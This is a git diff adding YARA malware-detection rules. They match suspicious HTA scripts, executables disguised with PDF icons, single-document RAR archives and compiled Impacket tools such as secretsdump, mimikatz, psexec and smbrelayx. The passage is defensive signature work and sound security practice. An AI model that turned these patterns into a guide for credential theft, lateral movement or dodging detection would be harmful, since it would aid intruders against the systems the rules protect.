+      $sx3 = "[ + ] Socket obtained!" fullword ascii
+      
+      $op1 = { 4c 8b f0 48 3b c1 48 b8 ff ff ff ff ff ff ff 7f }
+      $op2 = { 48 8b cf e8 1c 34 00 00 48 8b 5c 24 30 48 8b c7 }
+      $op3 = { 48 8b da 48 8b f9 45 33 f6 48 85 c9 0f 84 34 01 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         ( 3 of ($ss*) and all of ($op*) )
+         or 2 of ($sx*)
+      ) or $x1 or all of ($sx*)
+}
diff --git a/yara-Neo23x0/gen_hta_anomalies.yar b/yara-Neo23x0/gen_hta_anomalies.yar
new file mode 100644
index 0000000..a3891d7
--- /dev/null
+++ b/yara-Neo23x0/gen_hta_anomalies.yar
@@ -0,0 +1,42 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-20
+   Identifier: HTA Anomalies
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HTA_with_WScript_Shell {
+   meta:
+      description = "Detects WScript Shell in HTA"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/msftmmpc/status/877396932758560768"
+      date = "2017-06-21"
+      score = 80
+      hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
+      id = "2faf74b1-c19c-53f0-ad08-be9caf5640bc"
+   strings:
+      $s1 = "<hta:application windowstate=\"minimize\"/>"
+      $s2 = "<script>var b=new ActiveXObject(\"WScript.Shell\");" ascii
+   condition:
+      all of them
+}
+
+rule HTA_Embedded {
+   meta:
+      description = "Detects an embedded HTA file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/msftmmpc/status/877396932758560768"
+      date = "2017-06-21"
+      score = 50
+      hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
+      id = "04d4c718-9dd6-5528-8712-61c9f2a16139"
+   strings:
+      $s1 = "<hta:application windowstate=\"minimize\"/>"
+   condition:
+      $s1 and not $s1 in (0..50000)
+}
diff --git a/yara-Neo23x0/gen_hunting_susp_rar.yar b/yara-Neo23x0/gen_hunting_susp_rar.yar
new file mode 100644
index 0000000..92233d0
--- /dev/null
+++ b/yara-Neo23x0/gen_hunting_susp_rar.yar
@@ -0,0 +1,29 @@
+/* Threat Hunting Rule - note the score of 40 > Notice */
+
+rule SUSP_RAR_Single_Doc_File {
+   meta:
+      description = "Detects suspicious RAR files that contain nothing but a single .doc file"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2020-07-11"
+      score = 40
+      id = "92dc3a5d-d12c-56d3-8531-25b3da1e1595"
+   strings:
+      $s1 = ".doc"
+   condition:
+      uint16(0) == 0x6152 and
+      filesize < 4000KB and
+      $s1 at (
+         uint16(5) +  // header size
+         uint16(uint16(5)+5) +  // rar header size
+         uint16(uint16(5) + uint16(uint16(5)+5) + 5)  // rar block size
+         - 9  // offset
+      ) and (
+         // single rar block for a single doc file
+         uint16(5) +  // header size
+         uint16(uint16(5)+5) +  // rar header size
+         uint16(uint16(5) + uint16(uint16(5)+5) + 5) +  // rar block size
+         uint32(uint16(5) + uint16(uint16(5)+5) + 7)  // raw data size
+         > filesize-8
+      )
+}
diff --git a/yara-Neo23x0/gen_icon_anomalies.yar b/yara-Neo23x0/gen_icon_anomalies.yar
new file mode 100644
index 0000000..826f9ac
--- /dev/null
+++ b/yara-Neo23x0/gen_icon_anomalies.yar
@@ -0,0 +1,68 @@
+import "pe"
+
+rule SUSP_AdobePDF_SFX_Bitmap_Combo_Executable {
+   meta:
+      description = "Detects a suspicious executable that contains both a SFX icon and an Adobe PDF icon"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
+      date = "2020-11-02"
+      score = 60
+      hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
+      id = "d2d078c9-fbe5-51f4-8f7e-5d943c5a8197"
+   strings:
+      /* Adobe PDF Icon Bitmap */
+      $sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
+               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
+               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
+               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
+               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
+               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
+               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
+               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
+               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
+               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
+               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
+               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
+      /* SFX Icon Bitmap */
+      $sc2 = { 28 66 27 00 60 00 00 00 80 00 00 00 80 80 80 00
+               C0 C0 C0 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
+               FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
+               FF FF FF 00 FF FF FF 00 5D 33 00 00 5D 33 00 00
+               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00
+               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      all of them
+      and pe.number_of_signatures < 1
+}
+
+rule SUSP_AdobePDF_Bitmap_Executable {
+   meta:
+      description = "Detects a suspicious executable that contains a Adobe PDF icon and no shows no sign of actual Adobe software"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
+      date = "2020-11-02"
+      score = 60
+      hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
+      id = "86ebadd4-64a8-5290-b45e-ac125a10ea66"
+   strings:
+      /* Adobe PDF Icon Bitmap */
+      $sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
+               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
+               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
+               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
+               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
+               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
+               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
+               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
+               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
+               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
+               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
+               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
+      /* Exclude actual Adobe software */
+      $fp1 = "Adobe" ascii wide fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      $sc1 and not 1 of ($fp*)
+      and pe.number_of_signatures < 1
+}
diff --git a/yara-Neo23x0/gen_impacket_tools.yar b/yara-Neo23x0/gen_impacket_tools.yar
new file mode 100644
index 0000000..1106220
--- /dev/null
+++ b/yara-Neo23x0/gen_impacket_tools.yar
@@ -0,0 +1,443 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-07
+   Identifier: Compiled Impacket Tools
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Impacket_Tools_tracer {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
+      id = "aea71154-5e19-522f-93b0-ff43fee0c5c0"
+   strings:
+      $s1 = "btk85.dll" fullword ascii
+      $s2 = "btcl85.dll" fullword ascii
+      $s3 = "xtk\\unsupported.tcl" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 21000KB and all of them )
+}
+
+rule Impacket_Tools_wmiexec {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
+      id = "3c2c7edf-da71-53dc-9ddf-dfbf10838a27"
+   strings:
+      $s1 = "bwmiexec.exe.manifest" fullword ascii
+      $s2 = "swmiexec" fullword ascii
+      $s3 = "\\yzHPlU=QA" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and 2 of them )
+}
+
+rule Impacket_Tools_sniffer {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
+      id = "07051edc-91a8-59d6-87bf-dba98ef28588"
+   strings:
+      $s1 = "ssniffer" fullword ascii
+      $s2 = "impacket.dhcp(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
+}
+
+rule Impacket_Tools_mmcexec {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "263a1655a94b7920531e123a8c9737428f2988bf58156c62408e192d4b2a63fc"
+      id = "cca2082f-72a4-50c8-80b8-a9bed430dc4e"
+   strings:
+      $s1 = "smmcexec" fullword ascii
+      $s2 = "\\yzHPlU=QA" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 16000KB and all of them )
+}
+
+rule Impacket_Tools_ifmap {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "20a1f11788e6cc98a76dca2db4691963c054fc12a4d608ac41739b98f84b3613"
+      id = "e5461916-ec2b-5f65-b938-267483f50bb2"
+   strings:
+      $s1 = "bifmap.exe.manifest" fullword ascii
+      $s2 = "impacket.dcerpc.v5.epm(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
+}
+
+rule karmaSMB {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
+      id = "32c810c7-02e7-5203-b2ed-4e930b318cc0"
+   strings:
+      $s1 = "bkarmaSMB.exe.manifest" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule samrdump {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
+      id = "cd274719-c8cc-5882-8d75-192ad822c6b3"
+   strings:
+      $s2 = "bsamrdump.exe.manifest" fullword ascii
+      $s3 = "ssamrdump" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_rpcdump {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
+      id = "3f998aa6-c260-5fef-99ef-e8b4770c68c6"
+   strings:
+      $s1 = "srpcdump" fullword ascii
+      $s2 = "impacket.dcerpc.v5.epm(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_secretsdump {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
+      id = "c944d051-ea24-5595-abef-59e326ad56de"
+   strings:
+      $s1 = "ssecretsdump" fullword ascii
+      $s2 = "impacket.ese(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_esentutl {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "70d854953d3ebb2c252783a4a103ba0e596d6ab447f238af777fb37d2b64c0cd"
+      id = "1965e2b3-54be-553a-83d6-a0d4919414dd"
+   strings:
+      $s1 = "impacket.ese(" ascii
+      $s2 = "sesentutl" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 11000KB and all of them )
+}
+
+rule Impacket_Tools_opdump {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
+      id = "1bb0e747-e9b7-5a54-8052-428351be8d0d"
+   strings:
+      $s2 = "bopdump.exe.manifest" fullword ascii
+      $s3 = "sopdump" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_sniff {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
+      id = "07051edc-91a8-59d6-87bf-dba98ef28588"
+   strings:
+      $s1 = "ssniff" fullword ascii
+      $s2 = "impacket.eap(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
+}
+
+rule Impacket_Tools_smbexec {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
+      id = "02208817-2eab-54e2-90cf-44dbf5474607"
+   strings:
+      $s1 = "logging.config(" ascii
+      $s2 = "ssmbexec" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_goldenPac {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
+      id = "9894d16c-83fa-5e1d-9ca6-572deeec006a"
+   strings:
+      $s1 = "impacket.examples.serviceinstall(" ascii
+      $s2 = "bgoldenPac.exe" fullword ascii
+      $s3 = "json.scanner(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_netview {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
+      id = "1b9238d2-b9b1-5633-8481-05a3a97af5a6"
+   strings:
+      $s1 = "impacket.dcerpc.v5.wkst(" ascii
+      $s2 = "dummy_threading(" ascii
+      $s3 = "snetview" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_smbtorture {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
+      id = "4f9b55e2-93ce-5d08-a228-73233fb0a2c6"
+   strings:
+      $s1 = "impacket" fullword ascii
+      $s2 = "ssmbtorture" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_mimikatz {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
+      id = "0b1f5ad0-7070-58d5-946f-157dcb9627ab"
+   strings:
+      $s1 = "impacket" fullword ascii
+      $s2 = "smimikatz" fullword ascii
+      $s3 = "otwsdlc" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_smbrelayx {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
+      id = "84abf3cf-841c-592d-a9d1-71d5e76eb43f"
+   strings:
+      $s1 = "impacket.examples.secretsdump" fullword ascii
+      $s2 = "impacket.examples.serviceinstall" fullword ascii
+      $s3 = "impacket.smbserver(" ascii
+      $s4 = "SimpleHTTPServer(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 18000KB and 3 of them )
+}
+
+rule Impacket_Tools_wmipersist {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
+      id = "29bda652-28f0-5ab6-9bc2-411f20ab0dda"
+   strings:
+      $s1 = "swmipersist" fullword ascii
+      $s2 = "\\yzHPlU=QA" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_lookupsid {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "47756725d7a752d3d3cfccfb02e7df4fa0769b72e008ae5c85c018be4cf35cc1"
+      id = "27f13397-b044-54b4-b5e8-c5f7ed374f59"
+   strings:
+      $s1 = "slookupsid" fullword ascii
+      $s2 = "impacket.dcerpc" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
+}
+
+rule Impacket_Tools_wmiquery {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
+      id = "e8bdf27a-9763-5947-854f-162f74ff53be"
+   strings:
+      $s1 = "swmiquery" fullword ascii
+      $s2 = "\\yzHPlU=QA" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and all of them )
+}
+
+rule Impacket_Tools_atexec {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "337bd5858aba0380e16ee9a9d8f0b3f5bfc10056ced4e75901207166689fbedc"
+      id = "4f02e304-69d4-5952-80be-793379bccac0"
+   strings:
+      $s1 = "batexec.exe.manifest" fullword ascii
+      $s2 = "satexec" fullword ascii
+      $s3 = "impacket.dcerpc" fullword ascii
+      $s4 = "# CSZq" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and 3 of them )
+}
+
+rule Impacket_Tools_psexec {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      hash1 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
+      id = "5e8d0964-7e6a-5ff6-b9db-e37f997c3e05"
+   strings:
+      $s1 = "impacket.examples.serviceinstall(" ascii
+      $s2 = "spsexec" fullword ascii
+      $s3 = "impacket.examples.remcomsvc(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 17000KB and 2 of them )
+}
+
+rule Impacket_Tools_Generic_1 {
+   meta:
+      description = "Compiled Impacket Tools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/maaaaz/impacket-examples-windows"
+      date = "2017-04-07"
+      super_rule = 1
+      hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
+      hash2 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
+      hash3 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
+      hash4 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
+      hash5 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
+      hash6 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
+      hash7 = "dc85a3944fcb8cc0991be100859c4e1bf84062f7428c4dc27c71e08d88383c98"
+      hash8 = "0f7f0d8afb230c31fe6cf349c4012b430fc3d6722289938f7e33ea15b2996e1b"
+      hash9 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
+      hash10 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
+      hash11 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
+      hash12 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
+      hash13 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
+      hash14 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
+      hash15 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
+      hash16 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
+      hash17 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
+      hash18 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
+      hash19 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
+      hash20 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
+      id = "d2ce6426-d165-5569-a992-268f05622653"
+   strings:
+      $s1 = "bpywintypes27.dll" fullword ascii
+      $s2 = "hZFtPC" fullword ascii
+      $s3 = "impacket" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 21000KB and all of ($s*) ) or ( all of them )
+}
+
+rule Impacket_Lateral_Movement {
+   meta:
+      description = "Detects Impacket Network Aktivity for Lateral Movement"
+      author = "Markus Neis"
+      reference = "https://github.com/CoreSecurity/impacket"
+      date = "2018-03-22"
+      score = 60
+      id = "44db234c-ac81-5d21-bc2a-8cfd88807c0d"
+   strings:
+      $s1 = "impacket.dcerpc.v5.transport(" ascii
+      $s2 = "impacket.smbconnection(" ascii
+      $s3 = "impacket.dcerpc.v5.ndr(" ascii
+      $s4 = "impacket.spnego(" ascii
+      $s5 = "impacket.smb(" ascii
+      $s6 = "impacket.ntlm(" ascii
+      $s7 = "impacket.nmb(" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 14000KB and 2 of them
+}
diff --git a/yara-Neo23x0/gen_imphash_detection.yar b/yara-Neo23x0/gen_imphash_detection.yar
new file mode 100644
index 0000000..dbc5adf
--- /dev/null
+++ b/yara-Neo23x0/gen_imphash_detection.yar
@@ -0,0 +1,329 @@
+import "pe"
+//import "hash"
+
+rule MAL_Malware_Imphash_Mar23_1 : HIGHVOL {
+    meta:
+        description = "Detects malware by known bad imphash or rich_pe_header_hash"
+        reference = "https://yaraify.abuse.ch/statistics/"
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        author = "Arnim Rupp"
+        date = "2023-03-20"
+        modified = "2023-03-22"
+        score = 75
+        hash = "167dde6bd578cbfcc587d5853e7fc2904cda10e737ca74b31df52ba24db6e7bc"
+        hash = "0a25a78c6b9df52e55455f5d52bcb3816460001cae3307b05e76ac70193b0636"
+        hash = "d87a35decd0b81382e0c98f83c7f4bf25a2b25baac90c9dcff5b5a147e33bcc8"
+        hash = "5783bf969c36f13f4365f4cae3ec4ee5d95694ff181aba74a33f4959f1f19e8b"
+        hash = "4ca925b0feec851d787e7ee42d263f4c08b0f73f496049bdb5d967728ff91073"
+        hash = "9c2d2fa9c32fdff1828854e8cc39160dae73a4f90fb89b82ef6d853b63035663"
+        hash = "2c53d58f30b2ee1a2a7746e20f136c34d25d0214261783fc67e119329d457c2a"
+        hash = "5e83747015b0589b4f04b0db981794adf53274076c1b4acf717e3ff45eca0249"
+        hash = "ceaa0af90222ff3a899b9a360f6328cbda9ec0f5fbd18eb44bdc440470bb0247"
+        hash = "82fb1ba998dfee806a513f125bb64c316989c36c805575914186a6b45da3b132"
+        hash = "cb41d2520995abd9ba8ccd42e53d496a66da392007ea6aebd4cbc43f71ad461a"
+        hash = "c7bd758506b72ee6db1cc2557baf745bf9e402127d8e49266cc91c90f3cf3ed5"
+        hash = "e6e0d60f65a4ea6895ff97df340f6d90942bbfa402c01bf443ff5b4641ff849f"
+        hash = "e8ddef9fa689e98ba2d48260aea3eb8fa41922ed718b7b9135df6426b3ddf126"
+        hash = "ad57d77aba6f1bf82e0affe4c0ae95964be45fb3b7c2d6a0e08728e425ecd301"
+        hash = "483df98eb489899bc89c6a0662ca8166c9b77af2f6bedebd17e61a69211843d9"
+        hash = "a65ed85851d8751e6fe6a27ece7b3879b90866a10f272d8af46fb394b46b90a9"
+        hash = "09081e04f3228d6ef2efc1108850958ed86026e4dfda199852046481f4711565"
+        hash = "1b2c9054f44f7d08cffe7e2d9127dbd96206ab2c15b63ebf6120184950336ae1"
+        hash = "257887d1c84eb15abb2c3c0d7eb9b753ca961d905f4979a10a094d0737d97138"
+        hash = "1cbad8b58dbd1176e492e11f16954c3c254b5169dde52b5ad6d0d3c51930abf8"
